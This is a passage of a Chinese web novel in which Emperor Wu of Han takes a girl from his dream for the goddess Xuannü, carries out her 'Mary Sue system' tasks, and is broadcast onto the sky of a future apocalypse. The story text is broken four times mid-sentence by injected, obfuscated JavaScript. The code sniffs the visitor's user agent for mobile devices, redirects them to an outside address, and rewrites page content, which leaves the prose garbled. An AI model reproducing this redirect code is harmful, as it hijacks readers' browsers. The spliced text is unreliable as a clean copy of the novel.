长安城中三公九卿,列侯博士,大家心里都有准备,身为近臣重臣,他们所要做最重要的事儿是揣摩天子的性情心思。 而当今天子,他刚好是个性格征兆极其鲜明,并且不藏着掖着直接摆在脸上的人。 大家都很明白: 刘彻登基六年不能亲政,但这并不代表他是个没有主见,随波逐流的皇帝。 相反,他简直是个权欲熏天、控制欲满到要溢出来的神经病。 汉有天下六十八年,刘邦休养生息,刘恒开启盛世,刘启削减赋税。 唯独刘彻的画风不一样,十六岁登基伊始就开始改革新政,北伐匈奴,少年天子是真的,意气风发也是真的,他想打百越、南蛮、匈奴、车师、楼兰、轮台、大宛……削弱诸侯,处理天下豪强,收拢中央皇权,盐铁收归官营,赋税权收归中央…… 窦太皇太后原本也是个慈爱的祖母,让刘彻放手去做,你是天子是皇帝,哪怕年纪小小,奶奶现在还能给你撑腰—— 然后刘彻真的去做了,窦太皇太后顿时大惊失色,没想到这个孙子怎么是个神经病啊? 这么折腾下去能有好下场吗?不知道,这个时代所有人都没见过这阵仗,太震撼了,一条两条可能是明君是暴君,七八十条一起来,窦太皇太后只能认为刘彻疯了。 于是她压制了刘彻六年,压得死死的,活着一天就不准刘彻决天下事,但凡人哪有万岁的长生,最终她还是死了,死后魂幡挂满汉宫,天下同哀,是为国丧,刘彻也为她免冠斩衰。 并在同时收拢住掌心,将天下攥紧。 那么朝议上会商量什么事儿,这还用问吗? 大开杀戒,大肆清洗,甚至直接改掉帝国基本国策,未来方向,这都是有可能的。窦太皇太后一死,没人再能拦住这位皇帝陛下了。 可以说今天来上朝的这些人,很多人来了就已经做好了走不了的准备,竖着进来横着出去什么的……刘彻绝对做得出来这种事儿。 宣室殿上,氛围压抑。 刘彻来了。 帝素服临宣室殿,不冠,麻衣,语气冷厉—— 有人已经开始发抖了,哪怕王侯将相也难以做到不畏生死,终究只是一帮凡夫俗子,如果当真要死—— 然后刘彻语气冷厉地——发下去一大把单支竹简。 这是他抄录下来的那本书上他不认识的字,今天朝议上这些人的任务就是帮他想出来这些字的释意。 是的,对刘彻来说,当下最要紧的事儿,其实不是收归皇权,改换天下,当然这些事儿也很重要,对于大汉天子而言意义非凡。 但是天书的背后是亩产三十石,三十倍粮食产量! 天塌下来刘彻今天也得先把这书研究明白,然后立刻开始做任务,立刻得到梦中那样的仙谷! 于是汉帝国的三公九卿,彻侯博士,就在宣室殿辉煌肃穆的烛火下,一起绞尽脑汁翻译这些看起来奇奇怪怪,缺胳膊短腿的文字。 具体的天书内容,刘彻当然不可能给任何人看,最后一道工序环节还是要他自己来,汇总所有文字的含义,慢慢拼凑剧情。 底下人在穷究字意,时不时交头接耳,恨不得拿出平生所学,或许他们心里还会猜测这是陛下从哪里找来的古怪文字。 这些字,看不懂可是又那么美,超脱凡人理解之上,每一笔都像是带着大道遗韵,刘彻心里有点想笑。 他觉得自己真是命好。 那女孩儿是谁,刘彻至今不知道这个问题的答案,只知道是个很厉害很厉害的神秘身份,那么反过来推。 从出现到而今她做了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456929|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事? 赐书。 一身黑衣,与世不同,刘彻还记得她发丝乌黑细长,末端散在肩上化为幽微的黑雾。 古往今来,遍观寰宇,谁会黑衣临凡,赐书与人间天子,书中文字艰难晦涩,犹如天书…… 脑海中无数诗词歌赋纷纷翻过,一个名字“哗啦”一声上浮出来。 “天遣玄女,下授黄帝兵信神符,制伏蚩尤,帝因使之主兵,以制四方。” 这段故事很有名,其中的人物更有名,黄帝得玄女垂幸,遂有天下。 这个故事已经过去很久远很久远了,老旧的落满了灰尘。 但刘彻知道那些传世的故事不一定就真的发生在过去,君不见多少奇人异士伪作先贤大名,留预言传世。 当年黄帝见到玄女……黄帝真的见到了玄女吗?见到玄女的真的是黄帝吗? 见到玄女的,为什么不是…… ——建元六年的皇帝? 过去的故事里,书写的其实是未来。 真正见到玄女的人其实是他,就在今时今地,建元六年,未央宫中,天子梦中。 玄女授天书,许仙谷,而她要求的仅仅只是按照这本书上的内容去做事。 刘彻觉得血赚。 而且这本书上的内容,并非全是空白,玄女已经给出了一部分前置任务,那就是临时召开一个大朝会。 可以,刘彻立刻就准备去做。 诚然汉有天下六十八年,还从来没发生过这种事。 但那又咋了,汉有天下六十八年,之前就发生过玄女降临这种事儿吗? 也没有啊。 现在再回看昨夜梦中那场对话,刘彻已经不觉得有任何不对了。 “十年前,你爱上了我,我也爱上了你。” 说得对,没错,他疯狂地爱着玄女娘娘,谁说他不爱他要站起来跟那人急,至于玄女娘娘爱他…… 刘彻只感觉到一股巨大的幸福,什么叫天之眷顾?这就是啊! 至于时间对不上,刘彻也非常从善如流的接受了。 我与玄女娘娘的相遇,当然是在十年前! 不然玄女娘娘怎么会莫名其妙的选中我呢? 只是我忘记了十年前遇见玄女娘娘的那段记忆,这也可以理解,毕竟古来神仙与人之间便有分明的界限。 如今我终于通过了这长达十年的考验,所以玄女娘娘来见我,要许我千秋功业,万世不朽! “但你是个负心汉,你无情地抛弃了我,我只好无奈地出国。” 是的,刘彻非常认真地反思,十年前他怎么能这么做呢,太过分了! “十年后,我回国了,并且所有人都知道我回国了。” 太好了,娘娘又回来了!天眷不绝,我刘彻果然命好! “你要在大朝会上宣告我的归来。” 没有任何问题,当然要昭告天下,玄女降临。 “那你紧急召开一个大朝会好了。” 刘彻觉得玄女娘娘说得对!这么大的事儿,召开一个大朝会怎么了?很合理。 往好处想,是谁都有召开这个大朝会的荣幸的吗? 只有我!舍我其谁! 这一番激烈的头脑风暴之后,刘彻成功把自己哄开心了。 他现在坚信梦中那女孩儿就是传说中的九天玄女,并且抖了抖袖子,意气风发,睥睨天下! 5. 玄女03(谢谢逢山鬼泣、满老师的深水鱼雷!) “然后,还要让所有人都知道,对于十年前抛弃我的那件事,你超级、超级、超级后悔!这么多年来,你一直对我念念不忘。” 是啊!对啊!应该的啊! 刘彻坐不住了,豁然立起,大喊道,“来人啊,拟诏!” 他要写圣旨,现在就要写,发往长安城内、长安城外、大汉境内、大汉境外,他要昭告天下临时召开大朝会! 等一下。 刘彻又转了个方向。 宣室殿内,三公九卿捏着竹简,所有人都惊恐又茫然地看着他。 刘彻通通不理会,脚步匆匆地赶往清凉殿。 他怎么忘了,他要赶紧去摆个神牌,把供奉关系赶紧确定上,是的,他爱玄女爱到可以去死,所以任何人都别想从他手中抢走玄女的垂青,任何人! 另一个凡人不可见的维度。 透明的鬼魂林音跟在刘彻身后。 她的玛丽苏系统呆滞地说,【怎么搞的,玛丽苏积分在涨啊?】 时代核心的身份加持下,刘彻在系统内部的权重简直像一座山一样重,如今他放下了皇帝的身份,斩断所有迟疑和犹豫,疯狂而不计代价的爱上了林音。 真的很突然,但他真的爱林音爱到下一秒钟可以为林音去死,坚定得像个杀猪盘。 如果说,按照系统的计划,林音从一开始就选择那个牧羊人,然后在梦中与他相会,再加持上“神女降临”的特效。 林林总总计算下来,最乐观的情况下,一次性可以收割走的爱意值是3。 而刘彻现在提供的爱意值是6000!翻倍的翻倍的翻倍…… 系统已经数不清楚这是翻了几倍,只觉得自己一个赛博系统梦见了电子白日梦。 不可能吧,这种宿主都能完成任务? 但是温暖的能量像海水一样涌进来,系统整个都被能量浸泡住,只觉得这辈子从来没这么奢侈过,舒服到整个统的代码都飘散开,重新组成崭新的形状。 意识海中,系统“哗啦”一声跳出来,它长出了一个崭新的身体,四肢短小,肚皮圆圆,又软又弹可爱得像个汤圆。 汤圆懵懵地转着蚊香眼。 【怎么搞的,刘彻突然对天发誓他爱你爱得不可自拔?】 【他怎么突然给你立了个神牌,写着什么……九天玄女之神位?他怎么叫你玄女娘娘啊?!】 林音抬起头,看看刘彻,再看看系统。 她是个文盲,不认识汉武帝,当然更不认识九天玄女。 所以她不知道刘彻在做什么,只是以为俩人达成了合作,刘彻在帮她做任务。 至于九天玄女这个称呼,林音觉得无所谓,她们是合作伙伴嘛,一个称呼的问题她怎么会跟刘彻计较,叫林音可以,玄女当然也没问题。 她完全没理解系统的震撼,所以只是暖心道,【我早就说过了,他一定会帮我做任务的,我们人类就是这么友好的生物!】 —— 清凉殿中,刘彻摆上神牌之后飞快地开始拟旨。 刘彻身边,透明的林音和汤圆系统站在一起,正在打开直播间。 系统的全称是【历史直播之玛丽苏系统】,自带一个直播间,之前能量都被林音榨干了,直播间开不了。 但现在刘彻一把给了6000积分,直播间自然也是时候派上用场。 系统看着林音操作面板,它以为林音会把直播间投放到她自己生活的那个时代,毕竟谁不想再见一见从前的亲人朋友呢? 但是林音竟然选择了末世降临第十天…… 【这个时候还没开始死人,一切都还有挽回的余地。】林音认真地说。 系统没搞懂,开直播间不是为了收割玛丽苏积分吗?挽回是什么意思? 但这是小问题,她是宿主,她想选哪天就哪天。 但是系统实在忍不住,【我是一个玛丽苏系统。】 【嗯嗯。】林音点头。 【宿主,不,玄女娘娘……】 【叫我的名字吧,我们是朋友不是吗,玛丽苏系统,你好,我叫林音。】 系统呆了一下,【……你好,林音。】 它原本想说,我的直播间是用来直播玛丽苏的美好爱情故事,甜美朦胧,感人肺腑,观众一边磕cp一边贡献玛丽苏积分。 但是现在这…… 开直播间干嘛,把人都拉过来围观刘彻在大朝会上发疯吗? 可是林音说她们是朋友。 它从来没有过朋友。 系统闭嘴了。 【滴。】 【历史直播功能已开启,直播间投放中,投放时间节点:末世降临第十天。直播间投放完毕,请宿主查收。】 【好的,你做得很好。】林音满意地说。 系统沉默了三秒钟,释然地叹了一口气,不管是把人拉过来看刘彻发疯,还是一起围观刘彻在大朝会上追妻火葬场,都无所谓了。 林音说得对,她们是朋友,那么它当然要站在朋友这一边,虽然这个朋友的思路跟它的任务内容有点……实在是让系统逻辑很难理解…… 但是没有问题,系统觉得自己可以努力理解,刘彻都理解了!论起对林音的包容,它还能输给刘彻吗?!它可是林音的好朋友! 但是,等一下。 系统忽然惊恐道,【不对……这直播间怎么会是这个投放形式?宿主,宿主你到底做了什么啊啊啊?!】 —— 另一条时间线。 2037年4月17日。 十天前,末世悄无声息的降临了。 一百年之后这场末世将吞噬整个世界,但在现在,最开始的时候,只是一场温柔的细雨,淋淋漓漓地下了十天。 人们还是照常出门,工作,上学,生活平淡而美好。 在末世的噩耗扩散开来之前,率先震撼全世界的,是一个直播间。 周雪是个普通人,一个上班族。 等公交车的间隙,她拿出手机刷了一会儿,发现最近末世论出现的次数好像有点多。 说起来这场雨确实很古怪,不但大夏全国境内都在下雨,而且似乎全球都在降雨,这场连绵十天的雨断断续续笼罩了整个地球,这种地理现象是可以存在的吗? 但是这跟普通人也没关系,而且之前学过的地理知识,工作这么多年早就都已经还给了老师。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456930|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >公交车来了,周雪不再多想,低头按灭手机屏幕。 雨还在下,阴沉沉的乌云,好像永远也不会散开,墙角钻出来的那株绿芽,在雨中渐渐发蔫、泛黄。 但天空忽然亮了起来,四面光线也随之变亮,好像在天上打开了一盏巨大的补光灯。 手机屏幕忽然亮起噪点,似乎受到了不明干扰。 周雪惊奇地睁大眼,为这十年没见过的奇景,手机屏幕竟然还有起噪点的一天? 下一刻,手机骤然黑屏。 但是漆黑的屏幕中央并非空空荡荡。 周雪揉了揉眼睛。 她觉得自己可能是压力太大,终于疯了。 不然她怎么会在手机屏幕上看见一个直播间……? 当然,直播间不稀罕,但这个直播间并没有出现在手机里,而是倒映在了漆黑的手机屏幕上。 公交车车门打开了,但周雪没有上车。 不止是她,站台所有人都站在原地没有上车,公交车停在站台附近久久没有要开动的意思,车上所有乘客都疯了一样往车下跑。 “直播间?” “天上?” “天幕直播间?” “什么叫直播间挂在天上?” 无数喧哗的声音在耳边响起,顷刻之间原本空旷的街道上站满了人。 路边广告屏和大喇叭同时也被开启,循环播报:“我市领空内发生特殊天象事件,请广大市民保持镇定,有序排队观看,当心踩踏事件……” “我滴乖乖,惊动官方了。” “特殊天象事件?确实够特殊的……” “这得离地面多高啊,爬上去看看?” 每一个制高点上都有人在往上爬,路边的树、广告牌、屋顶、甚至公交车站台顶,一眨眼就都挂满了人。 周雪简直搞不懂这么多人都是怎么出来的,平时都藏在哪里,简直像集体被从建筑物里轰了出来。 但她也没心思去多想了,她只是慢慢地,慢慢地抬起头。 她眼里还带着茫然,此刻两眼发直地往上看,看见一个巨大的直播间,压住连日的阴雨和乌云,赫然投映在整个巨大的天空中。 不,不对,准确来说,头顶已经没有天空了。 她抬头所见的,是一个巨大的直播间,像从前的天空一样广大,一眼望不到边际。 天幕直播间正中央,此刻正端端正正悬挂着一行字幕。 黑底白字,无限清晰: 建元六年六月六日,长安,未央宫。 就像电影开幕前的旁白。 下一刻,在周雪的注视下、准确来说,是在此时天穹之下数亿乃至数十亿人类的注视下,漆黑的幕布徐徐拉开。 两千年前的未央宫飞檐映入眼帘,崭露一丝汉室巍峨。 周雪呆呆抬头看着,张着嘴,但是说不出话。 因为直播间实在太大了,所以直播间出现的东西也变得特别大。 很难描述这么大一个宫殿出现在天上的震撼感,更难以描述一个同样巨大的刘彻出现在天上的震撼感。 “爸呀大哥……”身边有人喃喃说,“这又是啥,奥特曼一样大的刘彻?” 6. 直播01 清凉殿。 九天玄女的神位之前燃着辉煌的烛火。 刘彻盘坐在神位前,他不知道自己被直播了,只是一味思考书中剧情。 是的,在群策群力之下,刘彻看懂了那本书。 他终于看懂了!! 当时刘彻恨不得跳到清凉殿屋顶上仰天长啸,让苍天知道他也看得懂天书。 然后时间继续向前,清晨之后是正午,之后又是夜晚,这一天会过去,此后每一天也都会这么过去。 直到一千八百年之后,在一个当时叫做广东南海县、如今还被称作南海郡番禺县的地方,出了一个人物叫做范进。 中举当天他也同样如此的欣喜若狂、如痴如醉,到那时他心头会泛起一丝冥冥之中的感应,因为一千八百年前,刘彻也曾有过与他一模一样的喜悦。 “哈哈。”刘彻笑了笑,又笑了笑,“哈哈哈哈哈。” 他得意洋洋,他意气风发!天书又如何,还不是被他一夜破解! 但很快刘彻的笑意又收敛起来。 当然,他还是很高兴的,但是这个高兴稍微有点不那么纯粹,也不是对天书不满意,天书当然是很好的,玄女娘娘当然是更好的。 可是……这天书上的内容,跟刘彻以为的不太一样。 倒不是说之前刘彻误认为了这是一本正经书,他之前也没觉得这书能正经到哪里去。 但是这书竟然能比他以为得还要更离谱! 首先,这是一本都市霸道总裁狗血追妻火葬场小说。 开篇就是十年前,女主和男主偶然遇见,双向一见钟情,结为爱侣。 女主是孤儿清洁工,男主是B市太子爷,但为了家族,为了权力,男主最终无情地抛弃了女主。 女主肝肠寸断,只好出国。 看到这里的时候刘彻已经满头问号了,太子是这么干的吗?他也当过太子,那会儿不这样啊。但是刘彻暂时按下不表。 然后时间线拉到十年后,女主回国。 此时,男主已经继承家族,升级成为皇帝。 他拥有了全部,功名利禄都在手中,但是他开始思念女主,思念他逝去的爱,周围所有人都知道他是如此的深爱女主,他们哽咽地说,陛下好久没笑过了…… 刘彻觉得,虽然大家都是皇帝,但他还是不太能理解男主的想法,可能他当皇帝年数还不够长吧。 毕竟能被写在玄女娘娘赐下的天书中,想必这书中的皇帝也定是个不得了的人物。 到这里,刘彻其实已经明白了玄女娘娘想做什么。 是的,就连林音自己都不知道自己要干嘛,但是刘彻懂了! 他要扮演书中这个男主的角色,做男主做过的事情,毕竟他也是“陛下”嘛,对刘彻来说这简直是谜底写在了谜面上。 那么第一步,就是玄女娘娘所说,要昭告天下,抛弃她之后我后悔了。 这个没有问题,刘彻事先已经有了充分的觉悟,但是想到书中的相关描述,刘彻还是略微面露难色……怎么说呢,多少跟他之前以为的不太一样。 书里剧情走得很快,没多久男主就知道了女主回国的消息。 这里插入了一大段男主的肝肠寸断,痛彻心扉,胃痛,头痛,低血糖昏迷。 最后男主从病床上悠悠醒转,失去了全部记忆。 是的,他失忆了! 因为这些年来,他太过思念女主,导致精神分裂,分裂出来了两个人格,现在这个人格是一片空白的,干干净净的。 男主认为,只有这样的他,才有资格去见女主。 既然都干干净净了,那么当然也就没有记忆了。 于是,失忆版男主堂堂登场! 对此,刘彻有以下几点看法:……………… 这已经不是临时召开大朝会的事儿了。 这是在短时间内,他需要完成两个高难度操作: 先是想女人想到全天下皆知。 再是想女人想到把自己变成白痴。 …… 另一个世界,某平台某个直播间内,镜头对准天空,实时转播天幕直播间的放映内容。 几条弹幕幽幽飘过。 “末世降临之我在直播间看直播。” “还是直播间看着正常点,外面天上那个刘彻真的太大了,我侄子非问我这个长头发的奥特曼叫什么名字。” “只有我一个人觉得刘彻的表情很复杂吗,好像很痛苦,又好像乐在其中……” “因为脸太大了所以表情细节太多了所以显得复杂吧。” “前面的你是不是在偷偷人身攻击?” “我服了,那直播间都挂到天上了,然后你们竟然在认真的探讨直播内容?” “这个世界其实已经疯了是吧?那我怎么办?” …… 对此系统的评价是:【两个世界各疯各的。】 林音很满意,【我们人类就应该这样互相帮助。】 她知道末世即将降临,在口耳相传的历史中,末世降临初期,因为缺乏食物,死了很多很多人。 但是现在不一样了,有了直播间,她可以想办法往末世运送粮食。 当然,她自己是没有粮食的,这也要拜托刘彻帮忙想办法了。 反正刘彻是个好人,他一定会帮的。 系统没吭声,它不知道林音还在规划一个会更让刘彻心梗的事件。 它现在觉得林音确实配得上一声玄女娘娘没问题,真正做到了自我以下众生平等。 除了林音自己开心,从刘彻到三公九卿,再到直播间观众,没一个是舒服的,全都痛苦面具。 观众以为自己疯了?没关系,刘彻也在发疯。 刘彻以为他的世界已经疯了?小事情,直播间世界也已经疯了。 …… 清凉殿中,刘彻来回走了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456931|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 不管怎么样。 抛开事实不谈。 还是先发下圣旨,召开临时大朝会吧。 系统:…… 但还是尽职尽责地来了一段百万运镜。 天子圣旨先出寝宫,传旨的中黄门抄录圣旨之后,带着圣旨四散出宫门。 这里甚至还有一个分屏镜头,展示了几个王侯将相收到圣旨之后的大吃一惊,面如土色,一屁股坐在地上哭着喊陛下三思啊。 弹幕又在激烈讨论。 “网上现在都说是新技术,直播间是新电视剧的宣发手段。” “那我看好这部电视剧,热度肯定得上天。” “不用看好,人家现在已经挂在天上了。” “如果是电视剧的话,还是有看头的,别的不说,就这个西汉接旨仪式,这个还原程度真是厉害死了,我全程大气不敢出一口,历史指导到底是请了哪位老怪物出山?” “这个水平起码得是个老怪物团了,我导师也算西汉史泰山北斗的人物,看这个直播间看得如痴如醉,我们全组都跟着记笔记……” “这个圣旨总感觉下得不太对劲儿呢?” “建元六年,有召开过大朝会吗?怎么这个传旨的和接旨的看起来反应都很大的样子?” “没有。” “你怎么知道没有,万一就是书上没记载呢,或者记载了但是没流传下来,毕竟两千多年了,存在历史迷雾不是很正常的事儿吗?” “不是,我都快看疯了,你们是不是真不懂大朝会到底是多大的事儿啊?” “他们西汉政权最严肃,甚至可以说唯一严肃的事儿就是这个一年一度的大朝会,现在刘彻突然就要临时召开大朝会?这是可以临时召开的吗?” “导演场景搭得这么严肃,细节为什么这么不考究,为什么!这也离谱得太低级了点儿吧?” “懂了,西汉版春节联欢晚会。” “你懂个屁,诸侯藩王属国都进长安朝拜,是你一个春晚能比得吗?西汉大阅兵还差不多!” “啊这,那确实是很严肃了……” “所以这到底是要干嘛了,出什么大事了?历史书上也找不到啊。” “我其实感觉这剧情可能要开始胡扯了……但是场景和演员都没问题,历史复原做得更是神中神,所以可能导演在下大棋吧。” “本来只是想看个乐子,没想到这剧情竟然该死的上头,我现在是真好奇了,大朝会上到底有谁?” “只有我一个人觉得刘彻写圣旨的样子很帅吗,男人中的男人,雄性中的雄性,皇帝中的皇帝,后面忘了,反正就是帅!” “坏了,这个真是皇帝。” “谁说这剧情要胡扯了?我打赌这绝对是个历史正剧,阴谋阳谋轮番上阵,老戏骨小戏骨轮番飙戏,从这个刘彻身上就能看出端倪!” “加油啊彻哥,看好你,等你的高光时刻!” 7. 直播02 圣旨是发下去了,长安城中的权贵也已经给出了反应,林音拿到了对应的玛丽苏积分,别说还不少,看得出来大家都很震撼。 对此林音的反应是:刘彻确实在帮我,他真的是个好人,他是人类的好帮手! 但是这里存在一个问题。 刘彻之前说得对,大朝会不是说召开就能召开的。 其中准备环节繁复琐碎,需要耗费巨量人力物力。 尤其最麻烦的一点是,大朝会需要汇聚诸侯和外藩使臣。 此时天下,代王、中山王、赵王奔赴长安都要花费一个月,江都王、长沙王和闽语王更是要两个月,哪怕快马加鞭八百里加急,也至少需要一个月的时间。 所以最快最快,也需要等待一个月,刘彻才能开始完成第一个任务。 这个问题,林音并不知道。 但是刘彻知道,并且刘彻已经想好了解决的办法。 在这一个月的时间里,刘彻也没打算闲着,他也在紧锣密鼓地做准备。 当然不是为了大朝会,而是为玄女娘娘分忧。 当然,其中也有那么一点点微不足道的私心,纵然丢脸已经无可避免,但刘彻还是想尽可能的稍微少丢一点。 所以他决定增加受害者人数。 任务当然要做,但不能自己一个人做。 试想,两个月之后,全天下都会知道皇帝陛下在发疯。 但如果发疯的并不止他一个人呢? 假如在他之前,有人疯得更严重呢? 刘彻现在就已经有了初步的想法: 他的任务是想女人想到变成白痴。 那么再安排个人,想女人想到当场死亡、死而复生、死后再招来天雷,这不是比他更劲爆,更吸引眼球吗? 如果大家都在发疯,那就显得自己没那么疯,甚至可能会成为最正常的一个。 无人知晓的角落里,刘彻已然无师自通了现代公关学的精髓: 掩饰一个糟糕新闻的最好办法,是制造一个更糟糕的新闻。 至于这个更倒霉的人选是谁,刘彻还没想好,他也没有很在意,对他来说这个问题不重要。 还是那句话,他毕竟是个皇帝,这种事儿,还不是他点谁就是谁? 甚至他准备多制造几个倒霉蛋,毕竟到时候,场面肯定是越混乱,越能掩盖他亲自下场时候的丢脸。 不得不说,他无意中抓到了玛丽苏的精髓: 为她神魂颠倒之人不知凡几,即便刘彻贵为天子,也绝不能独占如此殊荣! 也巧,刘彻并没打算独占。 更巧地是,便在此时此刻,殿外恰好传来赵谈小心翼翼的声音,“陛下,武安侯田蚡求见。” 武安侯……武安侯? 刘彻心下稍一思索,忽然两眼一亮,热情洋溢道,“是舅舅来了?来啊,快快请见!” 刚还在发愁分忧的人,这不就来了? 田蚡很快走进了清凉殿,“臣,蚡,拜见陛下,吾皇万岁!” “哎呀,哎呀。”刘彻喜笑颜开,亲自起身上前,亲手把田蚡扶起来,“都是自家人,舅舅何必如此多礼!” 这是要为朕分忧的人啊,朕要好好地款待他! 田蚡:? 他直觉今天这事儿不对劲,刘彻是这种性格吗? 这个皇帝外甥平时面对他的时候,好像也不是这种态度啊? 刘彻热情洋溢,“来,舅舅,坐,就坐我对面。来人啊,上几叠肉干来!” 说完又转向田蚡,“母后新送来的肉干滋味不错,舅舅也尝尝。” ……? 不对劲,真是十万分的不对劲。 田蚡有点坐不下去了,感觉底下的席子扎屁股。 肉干端上来了,刘彻依然笑容满面,先是亲手给田蚡递了一块,然后才自己拿了一块吃。 田蚡的表情看起来很想夺路而逃。 直播间里弹幕也忍不住了: “不兑,我闻到了阴谋的味道。” “刘彻是不是有点太活泼了,起来扶田蚡的时候有种连蹦带跳的即视感,他到底在高兴个什么?” “田蚡是他舅舅啊,见到亲戚开心很正常吧。” “你要不要看看你在说什么?那是刘彻,不是你家楼下幼儿园小刘同学。” “你要找的是这个刘彻吗?刘氏天子,政治机器,铁血暴君,杀妻、杀子、杀丞相,拿走不用谢。” “错了大人,还少了一条伏尸百万,穷兵黜武。” “但是这个演员真的牛,我要再夸一遍,刚刚他面无表情的时候,气氛压抑地都要滴出来水了,然后现在他笑得这么开心这么活泼,竟然一点都没有崩人设的感觉。” “反而让人感觉历史上的刘彻就是这么个人,喜怒无常又嬉笑怒骂的,简直就是把刘彻这个角色演活了!” “只看出来刘彻风评堪忧。” “史上知名野猪你以为……” “楼上一堆有上过初中的吗?建元六年,窦太皇太后新丧,刘彻要干的第一件事就是收拢权力,他现在最需要的是人手。” “田蚡,王太后亲弟弟,他自己亲舅舅,这么好的人选现在不用更待何时?马上刘彻就要大大地重用田蚡,亲近拉拢一下不是应该的吗。” “就这么把大圣旨大朝会丝滑地忘掉了。” “好歹也是个历史剧,演员和场景都搭得这么用心,剧情还能怎么发癫?我不信。” “别吵了,照我看这个田蚡也是颇有几分姿色。” “是啊是啊,我之前就想说了,这剧演员颜值都好高啊,刘彻好看,田蚡好看,刘彻身边那几个伺候的人也好看,真是心旷神怡呀心旷神怡。” “毕竟是王太后的亲弟弟,姐姐是大美人,弟弟肯定也不会差的!” “你看,刘彻也是这么想的,他也在说田蚡长的挺好看。” —— 清凉殿中。 田蚡刚咬下一口肉干。 刘彻直勾勾地盯着他看,心里暗自盘算。 如果是送给玄女娘娘的礼物,那么包装上的扎带至少看起来要漂亮。 论起身份,舅舅出身低微,但如今秩在侯爵,封号武安。 更重要的是,当今太后是他亲姐姐,当今天子是他亲外甥,长安城中遍地权贵,见了他也要低眉顺眼,叫一声侯爷。 论起长相,田蚡不算高大威猛的那一类。 但此时天下,崇拜样貌非凡之人,王太后能以二婚的身份,成为天子生母,样貌不必多说,当然是个一等一的美人。 田蚡是王太后亲弟弟,样貌与长姐相似,与刘彻这个外甥也有肖似之处,但他眉眼比刘彻更女相,又喜欢穿绫罗绸缎。 鲜衣华服,面色倨傲,总得来说,的确有几分风韵,像山精野怪出行时身边会跟随的那种伥鬼。 西汉初年,天地初分,蛮荒未远,时人对“神”的认知还保留着诡谲残暴的一面。 所以刘彻觉得,舅舅这幅伥鬼一样的长相,想必会符合玄女娘娘的审美。 勉强够格吧,那么这就是他选中的第一个倒霉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456932|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋了。刘彻笑了一下,愉快程度更上了一层楼。 他简直像看着帝国肱骨一样看着田蚡,欣慰道,“多日不见,舅舅姿容更胜往昔,自家亲戚,往后还是要多多走动得好。” 田蚡一口肉干猛地从嘴里喷出来,整个人剧烈地咳嗽起来。 刘彻立马上前拍背,紧张地让人送水送药宣太医。 田蚡感觉自己从来没这么害怕过。 他本意是想进宫打探一下消息。 刘彻今天突然发那道圣旨,意欲何为,是不是要开始清算窦氏残余势力了? 自从窦太皇太后死,他就一直在盯着刘彻这边的动向,生怕自己错过升官发财的好机会。 结果来了之后刘彻每一个反应都在他意料之外,让他完全无从招架,只能茫然地坐在这里吃肉干。 然后刘彻的态度就越来越离奇,不但没有追究他的御前失仪,甚至非常关心他的身体,殷勤到让人无所适从,瑟瑟发抖。 他们刘氏天子能是什么好东西吗? 刘彻打他骂他田蚡都无所谓,他可是刘彻亲舅舅,刘彻亲妈的亲弟弟。 田蚡心里也清楚自己不是治国理政的那块材料,但如何呢,刘彻还不是得乖乖给他荣华富贵,命好就是了不起! 但是现在刘彻突然对他这么的……,田蚡脑子里不停闪过高祖杀韩信、景帝杀刘贤、杀周亚夫,以及建元二年惨死的王、赵二人…… 田蚡走了,走得时候魂不守舍,整个人像在天上飘,身后还跟着刘彻殷切赠送的少府太医、太常太医、一系列名贵药材、一大堆昂贵玩器摆件。 他甚至还给了田蚡一堆新进奉的绫罗绸缎做衣服,叮嘱田蚡从今往后身份就不一样了,要穿华丽点才符合身份。 田蚡对此的回应是抖了两下,表情看起来更惊恐了。 直播间其实也没看懂,但是弹幕会强行解释。 “这是在演什么,刘备三顾茅庐吗?问题是田蚡就算有诸葛亮的潜质也不对吧,刘彻的关键词条可是爱杀丞相。” “是我的错觉吗,我甚至感觉刘彻有点谄媚,还有点小心翼翼,像对待一个怀胎三月的孕妇……” 